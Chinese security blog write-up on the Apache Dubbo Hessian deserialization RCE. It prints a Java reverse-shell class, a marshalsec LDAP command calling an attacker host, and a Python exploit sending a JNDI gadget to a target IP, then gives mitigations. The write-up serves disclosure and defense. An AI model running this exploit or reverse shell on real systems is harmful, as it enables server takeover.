一、漏洞描述
1.1 漏洞原理
Apache Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,漏洞存在于Apache dubbo默认使用的反序列化工具hessian,服务消费者发送请求给服务的提供者,服务提供者会将消费者提供的参数反序列化,在反序列化的过程中,如果传入的参数存在一些恶意请求,或恶意代码,就会导致反序列化漏洞。
1.2 漏洞危害
通过反序列化漏洞可控制服务器权限:查看任意文件数据、执行任意外部命令、上传任意木马、通过其跳板进行内网横向,进而控制其它存在漏洞的服务器。
1.3 影响版本
-
2.7.0 <= Apache Dubbo <= 2.7.4.1
-
2.6.0 <= Apache Dubbo <= 2.6.7
-
Apache Dubbo = 2.5.x
1.4 空间测绘
站点服务国家分布情况,以及端口使用情况:
GitHub star数量:
1.5 框架特征
-
基于Basic HTTP认证方式的可通过返回包:
-
可以根据端口扫描版本特征:
二、漏洞利用
本操作使用python模拟dubbo通信协议发送rpc请求,数据包含带有无法识别的服务名称service_name和方法名称method_name,及恶意参数(JdbcRowSetImpl等),在反序列化这些恶意参数时便会触发JNDI注入,导致执行任意恶意代码
2.1 信息收集
使用nmap扫描服务器端口,侦测到于35052端口开启了dubbo服务:
2.2 编译恶意文件类
IDEA新建一个Java项目,在Java项目下新建一个java文件(expRevShell.java),对待执行的命令使用base64加密,写入到java文件中:
具体的Runtime类执行的外部命令恶意代码如下:
public class expRevShell {
public expRevShell(){
try{
java.lang.Runtime.getRuntime().exec(
"bash -c {echo,<base64加密后的待执行命令> }|{base64,-d}|{bash,-i}");
}
catch(java.io.IOException e){e.printStackTrace();}}
}
使用javac对java文件进行编译:
2.3 HTTP服务器架设
在一台公网主机上启动HTTP服务,并将编译完成的class文件放入web站点根目录下,方便加载调用:
2.4 LDAP服务监听端口
使用marshalsec启动ldap服务,并于8087端口进行监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://<公网主机IP地址>/#expRevShell 8087
2.5 Netcat监听端口
公网主机上另起一个shell,开启nc监听:
2.6 发送恶意RPC请求
将服务消费者待序列化的恶意参数打入到受害者的服务器中,使其进行反序列化,执行先前的恶意参数:
使用Python模拟dubbo通信协议发送RPC请求的EXP代码如下:(dubbo3.py)
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('47.xxx.xxx.246', 35052)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://<监听公网主机的IP地址>:8087/expRevShell",
strMatchColumns=["foo4"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])
2.7 利用成功
执行exp后,成功拿到对方服务器的shell权限(root权限),完全控制对方服务器:
执行对方服务器上的任意命令:
查看操作系统信息:(其它敏感操作将不再进行展示!)
三、防御方式
3.1 代码加固
漏洞被利用的类在rome-{version}.jar包中,公网服务可以考虑自查是否引用了rome-{version}.jar包,如果引用了可以考虑重写toString()方法,重新编译并加载到生产环境;
3.2 版本升级
将dubbo升级到最新版本 https://dubbo.apache.org/zh/docs;
3.3 出网限制
反序列化漏洞利用需要远程加载恶意类,如不影响业务可以将服务器配置出外网限制;
3.4 访问控制
使用IP地址白名单的方式配置可信IP,非可信IP禁止访问。
来源:freebuf.com 2021-06-30 16:21:16 by: KevinMahone
请登录后发表评论
注册